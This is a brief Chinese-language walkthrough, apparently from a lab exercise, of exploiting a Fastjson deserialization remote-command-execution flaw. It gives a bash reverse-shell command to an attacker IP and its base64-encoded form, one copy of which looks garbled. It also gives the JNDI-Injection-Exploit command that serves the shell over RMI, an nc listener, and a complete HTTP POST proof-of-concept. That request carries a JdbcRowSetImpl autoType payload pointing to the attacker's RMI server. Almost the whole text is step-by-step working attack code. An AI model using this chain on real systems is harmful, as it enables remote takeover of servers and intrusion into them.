#0x00
Fastjson是一种Java库,用于处理JSON数据。它提供了一种简单高效的方式,用于将Java对象序列化为JSON,以及将JSON反序列化为Java对象。Fastjson以其高速和低内存消耗而闻名,因此在Java应用中广泛应用于JSON的序列化和反序列化。它支持各种功能,如JSON解析、序列化、反序列化以及对JSON数据的操作。Fastjson被广泛应用于Web应用、移动应用和其他基于Java的系统中,用于处理JSON数据。
JNDI综合利用工具:JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar
#0x01
JNDI-Injection-Exploit-1.0,可以搭建RMI、LDAP服务器,并构建执行命令,通过RMI远程调用直接加载攻击命令。
利用反弹shell命令:bash -i >&/dev/tcp/122.x.x.x/55588 0>&1
base64编码后命令:
bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzEyMi4yNDkuMTIuMzaaYvNTU1ODggMD4mMQ==}|{base64,-d}|{bash,-i}
使用JNDI工具启动RMI并加载执行命令
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzEyMi4yNDkuMTIuMzYvNTU1ODggMD4mMQ==}|{base64,-d}|{bash,-i}" -A 123.x.x.x
#0x02
在攻击机上启动反弹shell监听
nc -lvvp 55588
#0x03
对存在fastjson远程命令执行漏洞的站点进行POC
POST / HTTP/1.1
Host: fq8pvmwy.aqlab.cn
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:127.0) Gecko/20100101 Firefox/127.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/json
Content-Length: 266
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://123.x.x.x:1099/gk70h3",
"autoCommit":true
}
}